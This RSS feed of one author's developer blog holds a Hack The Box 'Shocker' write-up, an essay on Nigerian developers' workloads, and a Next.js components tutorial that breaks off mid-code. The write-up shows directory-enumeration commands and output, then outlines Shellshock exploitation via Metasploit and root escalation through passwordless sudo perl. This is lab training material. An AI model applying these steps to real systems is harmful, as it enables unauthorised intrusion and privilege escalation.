<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>Forem: Michael Oladele</title>
    <description>The latest articles on Forem by Michael Oladele (@micheaol).</description>
    <link>https://forem.com/micheaol</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F631913%2F9d0df0be-e332-4bf8-861c-ccc93f33e111.jpg</url>
      <title>Forem: Michael Oladele</title>
      <link>https://forem.com/micheaol</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://forem.com/feed/micheaol"/>
    <language>en</language>
    <item>
      <title>Hack The Box: Shocker Machine Writeup</title>
      <dc:creator>Michael Oladele</dc:creator>
      <pubDate>Thu, 09 Apr 2026 16:43:11 +0000</pubDate>
      <link>https://forem.com/micheaol/hack-the-box-shocker-machine-writeup-1m5o</link>
      <guid>https://forem.com/micheaol/hack-the-box-shocker-machine-writeup-1m5o</guid>
      <description>&lt;h2&gt;
  
  
  🚀Introduction
&lt;/h2&gt;

&lt;p&gt;The Shocker machine on Hack The Box is an excellent tool to learn and exploit the Shellshock vulnerability. In this walkthrough, we will enumerate this retired machine step by step and capture the user and root flags, demonstrating a real-world example of this catastrophic exploit.&lt;/p&gt;

&lt;h2&gt;
  
  
  🔍 Enumeration
&lt;/h2&gt;

&lt;p&gt;First, we begin by scanning for open ports on the target machine.&lt;/p&gt;

&lt;p&gt;I kinda like to first scan the all the ports first, then dive deeper like below:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fjt7oopb8q63j4wgvy0pw.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fjt7oopb8q63j4wgvy0pw.jpg" alt="nmap-scan" width="800" height="293"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Two ports came back as open:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Port 80 — HTTP (Apache web server)&lt;/li&gt;
&lt;li&gt;Port 2222 — SSH&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Since web servers usually have more attack surface, let's focus on port 80 to check if we get foothold.&lt;/p&gt;

&lt;p&gt;The next step would be for us to perform a version and service detection scan:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Favj7n96ucgtlnl5ci03y.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Favj7n96ucgtlnl5ci03y.jpg" alt="nmap-service-scan" width="800" height="583"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Let's do banner grabbing to be sure the server we got from nmap is correct: &lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F6deh44oc48j6tlztn96h.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F6deh44oc48j6tlztn96h.jpg" alt="banner-grabbing" width="800" height="255"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;We can confidently say:&lt;br&gt;
The server is running: &lt;strong&gt;Apache/2.4.18 on port 80 (Ubuntu)&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Since port 80 is running a public-facing Apache web server, it offers a good opportunity for us to see what is running. Let's navigate to &lt;a href="http://ip" rel="noopener noreferrer"&gt;http://ip&lt;/a&gt;. Then we see:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F2azn73w7fb20vkv2k1m2.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F2azn73w7fb20vkv2k1m2.jpg" alt="web-app" width="800" height="405"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;At first, when I saw this web-page, I froze. But let's try to bust the directories maybe we can see something juicy:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;gobuster dir -u http://10.129.16.77/ -w /usr/share/wordlists/dirb/common.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) &amp;amp; Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.129.16.77/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.hta                 (Status: 403) [Size: 291]
/.htaccess            (Status: 403) [Size: 296]
/.htpasswd            (Status: 403) [Size: 296]
/cgi-bin/             (Status: 403) [Size: 295]
/index.html           (Status: 200) [Size: 137]
/server-status        (Status: 403) [Size: 300]
Progress: 4614 / 4615 (99.98%)
===============================================================
Finished
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If we try to check /server-status and /cgi-bin/, we can see:&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ftv45djnsypdk19y99c49.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ftv45djnsypdk19y99c49.jpg" alt="load-error" width="800" height="243"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;So, there seems to be no way here, I wanted to go to the port 2222 at this point, but I decided to drill down to the DIR /server-status and /cgi-bin/ if something would come up.&lt;/p&gt;

&lt;p&gt;Then I dig but this time, I added -x php,html,txt,sh,pl,cgi to check special files:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;gobuster dir -u http://10.129.16.77/cgi-bin -w /usr/share/wordlists/dirb/common.txt -x php,html,txt,sh,pl,cgi
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) &amp;amp; Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.129.16.77/cgi-bin
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              html,txt,sh,pl,cgi,php
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.html                (Status: 403) [Size: 300]
/.hta.sh              (Status: 403) [Size: 302]
/.hta                 (Status: 403) [Size: 299]
/.hta.pl              (Status: 403) [Size: 302]
/.hta.cgi             (Status: 403) [Size: 303]
/.hta.php             (Status: 403) [Size: 303]
/.hta.html            (Status: 403) [Size: 304]
/.htaccess.php        (Status: 403) [Size: 308]
/.htaccess.txt        (Status: 403) [Size: 308]
/.htaccess.html       (Status: 403) [Size: 309]
/.htaccess.sh         (Status: 403) [Size: 307]
/.htaccess            (Status: 403) [Size: 304]
/.hta.txt             (Status: 403) [Size: 303]
/.htaccess.pl         (Status: 403) [Size: 307]
/.htaccess.cgi        (Status: 403) [Size: 308]
/.htpasswd            (Status: 403) [Size: 304]
/.htpasswd.pl         (Status: 403) [Size: 307]
/.htpasswd.cgi        (Status: 403) [Size: 308]
/.htpasswd.php        (Status: 403) [Size: 308]
/.htpasswd.html       (Status: 403) [Size: 309]
/.htpasswd.txt        (Status: 403) [Size: 308]
/.htpasswd.sh         (Status: 403) [Size: 307]
/user.sh              (Status: 200) [Size: 119]
Progress: 32298 / 32305 (99.98%)
===============================================================
Finished

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;In the above scan, I got a script back user.sh, this can be juicy. but when I opened it:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fs2a2gx11w0mwys57u5mx.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fs2a2gx11w0mwys57u5mx.jpg" alt="page" width="800" height="227"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;I decide to dig a little about what I can see about cgi-bin and I found out shellshock. So I Check cgi with NMAP to see if something would come and it is vulnerable to shellock:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Flm2azf28j8mb5fryek9r.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Flm2azf28j8mb5fryek9r.jpg" alt="nmap-scan" width="800" height="371"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Let's say luck found me, it's vulnerable to shellshock, so fired up my metasploit and search for it:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F9tfvb6puuhxmr7ts19aq.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F9tfvb6puuhxmr7ts19aq.jpg" alt="metasploit" width="800" height="201"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  ⚡ Exploitation
&lt;/h2&gt;

&lt;p&gt;The next step for us would be to exploit the target machine, on metasploit, I set all the options needed, then the target was down in seconds:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ft61ys4rw4jgbni91ht65.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ft61ys4rw4jgbni91ht65.jpg" alt="meterpreter" width="800" height="228"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Let's do our victory dance!!!&lt;/p&gt;

&lt;h2&gt;
  
  
  ⚡ Privilege Escalation
&lt;/h2&gt;

&lt;p&gt;As we can see the user we compromised is 'shelly' so we need to elivate our privilege to 'root'&lt;/p&gt;

&lt;p&gt;I checked to see what can the user run with root access without password:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fwhszbd7y436d7uaz1d1f.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fwhszbd7y436d7uaz1d1f.jpg" alt="shell" width="800" height="154"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;We are convinced that the user can run /usr/bin/perl without password, that might our path to root. Let's check for the binary on GTFBins:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Focux4dlyj086zi7p8o8p.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Focux4dlyj086zi7p8o8p.jpg" alt="bins" width="800" height="143"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Now let's run the binary with 'sudo', because we know we can do that:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fxpy7zyq9t1gqjz8m3xzp.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fxpy7zyq9t1gqjz8m3xzp.jpg" alt="root" width="800" height="145"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;We are root!!  Yeepee!!!&lt;/p&gt;

</description>
      <category>ai</category>
      <category>security</category>
      <category>cybersecurity</category>
      <category>hackthebox</category>
    </item>
    <item>
      <title>The Hidden Weight Nigerian Developers Carry</title>
      <dc:creator>Michael Oladele</dc:creator>
      <pubDate>Tue, 02 Dec 2025 09:07:03 +0000</pubDate>
      <link>https://forem.com/micheaol/the-hidden-weight-nigerian-developers-carry-1lec</link>
      <guid>https://forem.com/micheaol/the-hidden-weight-nigerian-developers-carry-1lec</guid>
      <description>&lt;p&gt;In a perfect world, the SDLC is linear:&lt;/p&gt;

&lt;p&gt;Requirements → Design → Development → Testing → Deployment → Maintenance.&lt;/p&gt;

&lt;p&gt;In Nigeria, the reality is very different.&lt;/p&gt;

&lt;p&gt;Here, the average "developer" is actually:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;a backend engineer
&lt;/li&gt;
&lt;li&gt;a frontend engineer
&lt;/li&gt;
&lt;li&gt;a product thinker
&lt;/li&gt;
&lt;li&gt;a UI/UX designer
&lt;/li&gt;
&lt;li&gt;a DevOps engineer
&lt;/li&gt;
&lt;li&gt;a QA tester
&lt;/li&gt;
&lt;li&gt;a cloud engineer (yes, job posts still ask “Do you know AWS?”)
&lt;/li&gt;
&lt;li&gt;and the person who fixes production at 2 a.m.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;All in one role.&lt;br&gt;&lt;br&gt;
All on one salary.&lt;br&gt;&lt;br&gt;
A salary that often doesn’t match even &lt;em&gt;one&lt;/em&gt; of those roles abroad.&lt;/p&gt;




&lt;h2&gt;
  
  
  💢 The Disrespect Nobody Talks About
&lt;/h2&gt;

&lt;p&gt;What hurts more than the workload is the treatment.&lt;/p&gt;

&lt;p&gt;Too many developers have heard this line:&lt;br&gt;&lt;br&gt;
&lt;strong&gt;“Why didn't you complete the design level?”&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Meanwhile the same developer was already juggling:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Architecture
&lt;/li&gt;
&lt;li&gt;Backend
&lt;/li&gt;
&lt;li&gt;Frontend
&lt;/li&gt;
&lt;li&gt;Documentation
&lt;/li&gt;
&lt;li&gt;QA
&lt;/li&gt;
&lt;li&gt;Deployment
&lt;/li&gt;
&lt;li&gt;Support
&lt;/li&gt;
&lt;li&gt;And cloud infrastructure
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Imagine doing six jobs and being blamed for the seventh.&lt;/p&gt;




&lt;h2&gt;
  
  
  🔥 Yet Nigerian Developers Still Shine
&lt;/h2&gt;

&lt;p&gt;Despite the chaos, Nigerian developers:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;build world-class products
&lt;/li&gt;
&lt;li&gt;lead remote teams
&lt;/li&gt;
&lt;li&gt;learn extremely fast
&lt;/li&gt;
&lt;li&gt;innovate under pressure
&lt;/li&gt;
&lt;li&gt;and compete globally at the highest level
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;It’s almost unreal how excellence grows in such tough environments.&lt;/p&gt;




&lt;h2&gt;
  
  
  ❤️ A Word to Every Nigerian Developer
&lt;/h2&gt;

&lt;p&gt;You’re doing more than enough.&lt;br&gt;&lt;br&gt;
Your skill is not the problem.&lt;br&gt;&lt;br&gt;
Your environment is.&lt;/p&gt;

&lt;p&gt;Protect your peace.&lt;br&gt;&lt;br&gt;
Ask for clarity.&lt;br&gt;&lt;br&gt;
Set boundaries.&lt;br&gt;&lt;br&gt;
Demand respect.&lt;/p&gt;

&lt;p&gt;Nigerian developers aren’t underrated because of lack of talent.&lt;br&gt;&lt;br&gt;
They’re underrated because they do too much, too quietly.&lt;/p&gt;

&lt;p&gt;It’s time that changed.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;If this resonated, feel free to share your experience in the comments. Let’s make the conversation louder.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>developers</category>
      <category>ai</category>
      <category>design</category>
      <category>nigeria</category>
    </item>
    <item>
      <title>Server vs. Client Components in Next.js 13: When and How to Use Them</title>
      <dc:creator>Michael Oladele</dc:creator>
      <pubDate>Wed, 23 Oct 2024 18:18:59 +0000</pubDate>
      <link>https://forem.com/micheaol/server-vs-client-components-in-nextjs-13-when-and-how-to-use-them-2dj7</link>
      <guid>https://forem.com/micheaol/server-vs-client-components-in-nextjs-13-when-and-how-to-use-them-2dj7</guid>
      <description>&lt;p&gt;Next.js 13 introduced React Server Components, giving developers the power to choose where and how to render components—either on the server for performance or on the client for interactivity. This flexibility allows us to build apps that combine speed and dynamic capabilities.&lt;/p&gt;

&lt;p&gt;In this article, we’ll explore not just the basics, but also dive into how to use server components within client components—a common need when building dynamic, efficient apps.&lt;/p&gt;

&lt;h2&gt;
  
  
  Understanding Server Components
&lt;/h2&gt;

&lt;p&gt;Server components are rendered entirely on the server and don’t require any client-side JavaScript. They’re perfect for static content like headers, footers, or even data-driven components that don't need user interaction.&lt;/p&gt;

&lt;h4&gt;
  
  
  Example: Simple Server Component
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// app/components/Header.js&lt;/span&gt;
&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="k"&gt;default&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;Header&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;return &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;header&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
      &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;h1&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="nx"&gt;My&lt;/span&gt; &lt;span class="nx"&gt;Static&lt;/span&gt; &lt;span class="nx"&gt;Header&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="sr"&gt;/h1&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;
&lt;/span&gt;    &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="sr"&gt;/header&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;
&lt;/span&gt;  &lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This component is rendered on the server and doesn't involve any client-side interaction, meaning it loads faster with less JavaScript.&lt;/p&gt;

&lt;h2&gt;
  
  
  Benefits of Server Components
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Reduced JavaScript Payload&lt;/strong&gt;: Server components reduce the amount of JavaScript sent to the browser.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Improved Data Fetching&lt;/strong&gt;: Server components can fetch data closer to the database, reducing network latency.&lt;/li&gt;
&lt;/ul&gt;

&lt;h4&gt;
  
  
  Fetching Data in a Server Component
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// app/components/PostList.js&lt;/span&gt;
&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="k"&gt;default&lt;/span&gt; &lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;PostList&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;res&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nf"&gt;fetch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;https://jsonplaceholder.typicode.com/posts&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;posts&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;json&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

  &lt;span class="k"&gt;return &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;ul&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
      &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;posts&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;slice&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;map&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="nx"&gt;post&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;
        &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;li&lt;/span&gt; &lt;span class="nx"&gt;key&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;post&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;id&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;post&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;title&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="sr"&gt;/li&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;
&lt;/span&gt;      &lt;span class="p"&gt;))}&lt;/span&gt;
    &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="sr"&gt;/ul&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;
&lt;/span&gt;  &lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This PostList component fetches data on the server and sends the pre-rendered HTML to the client, ensuring faster load times.&lt;/p&gt;

&lt;h2&gt;
  
  
  When to Use Client Components
&lt;/h2&gt;

&lt;p&gt;Client components are essential when you need interactivity, such as form inputs, event listeners, or dynamic content. These components use JavaScript on the client to handle user interactions.&lt;/p&gt;

&lt;h4&gt;
  
  
  Example: Client Component for Interactivity
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// app/components/SearchBar.js&lt;/span&gt;
&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;use client&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;  &lt;span class="c1"&gt;// This makes the component a client component&lt;/span&gt;

&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;useState&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;react&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="k"&gt;default&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;SearchBar&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;searchTerm&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;setSearchTerm&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;useState&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;''&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

  &lt;span class="k"&gt;return &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;div&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
      &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;input&lt;/span&gt;
        &lt;span class="nx"&gt;type&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;text&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;
        &lt;span class="nx"&gt;value&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;searchTerm&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
